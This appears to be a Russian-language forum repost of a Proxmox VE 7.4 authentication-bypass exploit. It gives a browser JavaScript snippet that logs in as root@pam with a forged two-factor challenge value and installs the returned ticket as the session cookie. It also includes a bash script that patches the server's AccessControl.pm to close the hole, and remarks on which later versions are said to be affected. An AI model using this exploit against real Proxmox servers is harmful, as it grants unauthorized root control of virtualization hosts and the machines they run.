Proxmox VE 7.4 auth-bypass exploit

[someone]

https://twitter.com/x/status/2094719919539793989

Код Для просмотра ссылки Войди или Зарегистрируйся

xp.js
// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();

Для просмотра ссылки Войди или Зарегистрируйся

#!/bin/bash
# Proxmox checked whether `tfa-challenge` existed, and after the fix, it checks whether it is valid.
set -euo pipefail
access_file=/usr/share/perl5/PVE/AccessControl.pm
patch_line="verify_ticket(\$tfa_challenge, 0, \$username);"
patch_count=$(grep -Fc "$patch_line" "$access_file")
[ "$patch_count" -eq 3 ] && exit 0
[ "$patch_count" -eq 2 ]
temp_file=$(mktemp "${access_file}.XXXXXX")
trap 'rm -f "$temp_file"' EXIT
perl -0pe 's{(\n[ \t]*if \(\$tfa_challenge\) \{\n)([ \t]*)}{$1$2verify_ticket(\$tfa_challenge, 0, \$username);\n$2};' "$access_file" >"$temp_file"
[ "$(grep -Fc "$patch_line" "$temp_file")" -eq 3 ]
perl -c "$temp_file"
chown --reference="$access_file" "$temp_file"; chmod --reference="$access_file" "$temp_file"
mv "$temp_file" "$access_file"
systemctl reload-or-restart pvedaemon pveproxy

А еще в других местах пишут, что в версии 8.0.3 / 8.2 proxmox тоже есть bypass.
Но 8.4 и 9.2 пока считаются безопасными.